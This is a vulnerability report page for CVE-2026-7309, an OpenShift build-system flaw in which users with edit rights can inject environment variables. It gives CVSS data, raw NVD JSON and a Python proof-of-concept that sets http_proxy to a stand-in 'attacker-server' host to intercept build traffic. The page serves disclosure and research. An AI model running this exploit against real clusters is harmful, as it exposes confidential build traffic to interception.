Security Vulnerability Report
中文
CVE-2026-7309 CVSS 4.3 MEDIUM

CVE-2026-7309

Published: 2026-04-28 13:19:25
Last Modified: 2026-05-07 02:16:00

Description

A flaw was found in the OpenShift Container Platform build system. A user with the `edit` ClusterRole can inject arbitrary environment variables, such as `LD_PRELOAD` or `http_proxy`, into `docker-build` containers through the `buildconfigs/instantiate` API. This incomplete fix for a previous vulnerability allows for information disclosure, specifically impacting the confidentiality of build traffic.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:* - VULNERABLE
OpenShift Container Platform (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-7309: OpenShift Environment Variable Injection # Description: Inject malicious env vars via buildconfigs/instantiate API import requests import json TARGET_API = "https://<openshift-api>/apis/build.openshift.io/v1/namespaces/<namespace>/buildconfigs/<name>/instantiate" TOKEN = "<your-token>" headers = { "Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json" } # Payload injecting http_proxy to intercept traffic payload = { "kind": "BuildRequest", "apiVersion": "build.openshift.io/v1", "env": [ { "name": "http_proxy", "value": "http://attacker-server:8080" } ] } try: resp = requests.post(TARGET_API, headers=headers, data=json.dumps(payload), verify=False) if resp.status_code == 201: print("[+] Exploit successful: Build instantiated with proxy.") else: print(f"[-] Failed: {resp.status_code}, {resp.text}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7309", "sourceIdentifier": "[email protected]", "published": "2026-04-28T13:19:24.847", "lastModified": "2026-05-07T02:16:00.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the OpenShift Container Platform build system. A user with the `edit` ClusterRole can inject arbitrary environment variables, such as `LD_PRELOAD` or `http_proxy`, into `docker-build` containers through the `buildconfigs/instantiate` API. This incomplete fix for a previous vulnerability allows for information disclosure, specifically impacting the confidentiality of build traffic."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-7309", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463451", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}